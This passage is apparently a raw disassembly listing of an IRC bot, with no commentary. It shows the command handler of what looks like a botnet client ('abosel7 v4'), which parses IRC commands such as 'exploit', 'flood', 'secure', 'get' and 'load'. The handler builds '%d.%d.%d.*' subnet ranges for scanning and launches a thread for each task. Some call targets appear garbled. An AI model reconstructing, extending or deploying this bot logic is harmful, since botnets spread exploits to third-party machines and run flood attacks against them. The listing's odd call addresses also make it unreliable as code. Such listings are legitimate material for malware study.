		jle	short loc_403FCB
		push	offset unk_42BC04
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BBDC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBBC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2670B87h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BB84
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB64
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB40
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		call	near ptr 2660D84h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BAE8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB00C
		call	dword_4CAECC
		call	sub_418359
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BACC
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAB0


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA98
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42BA60
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA48
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA44
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42B9E8
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42B9D0


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9A4
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B920
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B910
		push	offset dword_42B900
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B8F4
		push	offset dword_42B8E4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8BC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset dword_42B880
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B854
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		call	near ptr 266057Dh
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset unk_42B814
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B7E0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2660545h
		nop
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	near ptr 2660D84h
		nop
		push	eax
		push	offset dword_42B7A4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B6F4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B6E4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6B8
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B68C
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9BC


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE728, ebx
		jz	short loc_404A4A
		push	offset dword_4CE108


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B650
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B610
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE108
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE728, 1
		pop	ecx
		push	esi
		push	offset unk_42B5E4


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_404BE6


loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------


loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2660D84h
		push	eax
		push	offset unk_42B56C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		call	near ptr 2670B87h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
